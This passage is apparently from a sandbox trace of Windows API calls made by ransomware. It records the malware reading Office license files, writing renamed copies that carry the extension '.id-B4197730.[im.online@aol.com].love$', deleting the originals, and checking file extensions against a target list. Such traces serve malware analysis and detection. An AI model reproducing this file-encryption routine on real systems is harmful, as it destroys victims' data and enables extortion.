lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0269.780] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11582) returned 1 [0269.780] CloseHandle (hObject=0x57c) returned 1 [0269.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0269.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0269.782] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.782] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0269.784] GetLastError () returned 0x0 [0269.784] ReadFile (in: hFile=0x57c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0269.788] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0269.790] ReadFile (in: hFile=0x57c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.790] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10e, lpOverlapped=0x0) returned 1 [0269.790] SetEndOfFile (hFile=0x4ac) returned 1 [0269.791] CloseHandle (hObject=0x4ac) returned 1 [0269.791] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.791] SetEndOfFile (hFile=0x57c) returned 1 [0269.798] CloseHandle (hObject=0x57c) returned 1 [0269.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1 [0270.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.347] lstrlenW (lpString=".doc") returned 4 [0270.347] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.347] lstrlenW (lpString=".docx") returned 5 [0270.347] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.347] lstrlenW (lpString=".pdf") returned 4 [0270.347] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.347] lstrlenW (lpString=".xls") returned 4 [0270.347] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.348] lstrlenW (lpString=".xlsx") returned 5 [0270.348] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.348] lstrlenW (lpString=".ppt") returned 4 [0270.348] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.348] lstrlenW (lpString=".zip") returned 4 [0270.348] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.348] lstrlenW (lpString=".rar") returned 4 [0270.348] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.348] lstrlenW (lpString=".bz2") returned 4 [0270.348] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.348] lstrlenW (lpString=".7z") returned 3 [0270.348] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.348] lstrlenW (lpString=".dbf") returned 4 [0270.348] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.348] lstrlenW (lpString=".1cd") returned 4 [0270.348] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.348] lstrlenW (lpString=".jpg") returned 4 [0270.348] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.349] lstrlenW (lpString=".doc") returned 4 [0270.349] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.349] lstrlenW (lpString=".docx") returned 5 [0270.349] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.349] lstrlenW (lpString=".pdf") returned 4 [0270.349] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.349] lstrlenW (lpString=".xls") returned 4 [0270.349] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.349] lstrlenW (lpString=".xlsx") returned 5 [0270.349] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.349] lstrlenW (lpString=".ppt") returned 4 [0270.349] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.349] lstrlenW (lpString=".zip") returned 4 [0270.349] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.349] lstrlenW (lpString=".rar") returned 4 [0270.349] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.349] lstrlenW (lpString=".bz2") returned 4 [0270.349] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.349] lstrlenW (lpString=".7z") returned 3 [0270.349] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.350] lstrlenW (lpString=".dbf") returned 4 [0270.350] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.350] lstrlenW (lpString=".1cd") returned 4 [0270.350] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0270.350] lstrlenW (lpString=".jpg") returned 4 [0270.350] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.350] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0270.350] lstrlenW (lpString="MondoR_Subscription-pl.xrm-ms") returned 29 [0270.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0270.354] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11167) returned 1 [0270.354] CloseHandle (hObject=0x574) returned 1 [0270.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220 [0270.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0270.355] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.355] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0270.357] GetLastError () returned 0x0 [0270.357] ReadFile (in: hFile=0x574, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0270.360] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0270.361] ReadFile (in: hFile=0x574, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.361] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10e, lpOverlapped=0x0) returned 1 [0270.361] SetEndOfFile (hFile=0x488) returned 1 [0270.362] CloseHandle (hObject=0x488) returned 1 [0270.362] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.362] SetEndOfFile (hFile=0x574) returned 1 [0270.368] CloseHandle (hObject=0x574) returned 1 [0270.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1 [0270.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.370] lstrlenW (lpString=".doc") returned 4 [0270.370] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.370] lstrlenW (lpString=".docx") returned 5 [0270.371] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.371] lstrlenW (lpString=".pdf") returned 4 [0270.371] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.371] lstrlenW (lpString=".xls") returned 4 [0270.371] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.371] lstrlenW (lpString=".xlsx") returned 5 [0270.371] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.371] lstrlenW (lpString=".ppt") returned 4 [0270.371] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.371] lstrlenW (lpString=".zip") returned 4 [0270.371] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.371] lstrlenW (lpString=".rar") returned 4 [0270.371] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.371] lstrlenW (lpString=".bz2") returned 4 [0270.371] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.371] lstrlenW (lpString=".7z") returned 3 [0270.371] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.371] lstrlenW (lpString=".dbf") returned 4 [0270.371] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.371] lstrlenW (lpString=".1cd") returned 4 [0270.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.372] lstrlenW (lpString=".jpg") returned 4 [0270.372] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.372] lstrlenW (lpString=".doc") returned 4 [0270.372] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.372] lstrlenW (lpString=".docx") returned 5 [0270.372] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.373] lstrlenW (lpString=".pdf") returned 4 [0270.373] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.373] lstrlenW (lpString=".xls") returned 4 [0270.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.373] lstrlenW (lpString=".xlsx") returned 5 [0270.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.373] lstrlenW (lpString=".ppt") returned 4 [0270.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.373] lstrlenW (lpString=".zip") returned 4 [0270.373] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.373] lstrlenW (lpString=".rar") returned 4 [0270.373] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.373] lstrlenW (lpString=".bz2") returned 4 [0270.373] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.374] lstrlenW (lpString=".7z") returned 3 [0270.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.374] lstrlenW (lpString=".dbf") returned 4 [0270.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.374] lstrlenW (lpString=".1cd") returned 4 [0270.374] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0270.374] lstrlenW (lpString=".jpg") returned 4 [0270.374] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.374] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0270.374] lstrlenW (lpString="MondoR_Subscription-ppd.xrm-ms") returned 30 [0270.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0270.376] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=32361) returned 1 [0270.376] CloseHandle (hObject=0x574) returned 1 [0270.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220 [0270.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0270.377] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.377] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0270.380] GetLastError () returned 0x0 [0270.380] ReadFile (in: hFile=0x574, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x7e69, lpOverlapped=0x0) returned 1 [0270.632] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x7e70, lpOverlapped=0x0) returned 1 [0270.635] ReadFile (in: hFile=0x574, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.635] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x110, lpOverlapped=0x0) returned 1 [0270.635] SetEndOfFile (hFile=0x488) returned 1 [0270.636] CloseHandle (hObject=0x488) returned 1 [0270.636] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.636] SetEndOfFile (hFile=0x574) returned 1 [0270.648] CloseHandle (hObject=0x574) returned 1 [0270.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1 [0271.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.123] lstrlenW (lpString=".doc") returned 4 [0271.123] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.123] lstrlenW (lpString=".docx") returned 5 [0271.123] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.123] lstrlenW (lpString=".pdf") returned 4 [0271.123] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.123] lstrlenW (lpString=".xls") returned 4 [0271.123] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.124] lstrlenW (lpString=".xlsx") returned 5 [0271.124] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.124] lstrlenW (lpString=".ppt") returned 4 [0271.124] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.124] lstrlenW (lpString=".zip") returned 4 [0271.124] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.124] lstrlenW (lpString=".rar") returned 4 [0271.124] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.124] lstrlenW (lpString=".bz2") returned 4 [0271.124] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.124] lstrlenW (lpString=".7z") returned 3 [0271.124] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.124] lstrlenW (lpString=".dbf") returned 4 [0271.124] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.124] lstrlenW (lpString=".1cd") returned 4 [0271.124] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.125] lstrlenW (lpString=".jpg") returned 4 [0271.125] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.125] lstrlenW (lpString=".doc") returned 4 [0271.125] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.125] lstrlenW (lpString=".docx") returned 5 [0271.125] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.125] lstrlenW (lpString=".pdf") returned 4 [0271.125] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.125] lstrlenW (lpString=".xls") returned 4 [0271.125] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.125] lstrlenW (lpString=".xlsx") returned 5 [0271.125] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.125] lstrlenW (lpString=".ppt") returned 4 [0271.125] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.125] lstrlenW (lpString=".zip") returned 4 [0271.125] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.125] lstrlenW (lpString=".rar") returned 4 [0271.126] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.126] lstrlenW (lpString=".bz2") returned 4 [0271.126] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.126] lstrlenW (lpString=".7z") returned 3 [0271.126] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.126] lstrlenW (lpString=".dbf") returned 4 [0271.126] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.126] lstrlenW (lpString=".1cd") returned 4 [0271.126] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0271.126] lstrlenW (lpString=".jpg") returned 4 [0271.126] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.126] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0271.126] lstrlenW (lpString="MondoR_Subscription2-pl.xrm-ms") returned 30 [0271.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), 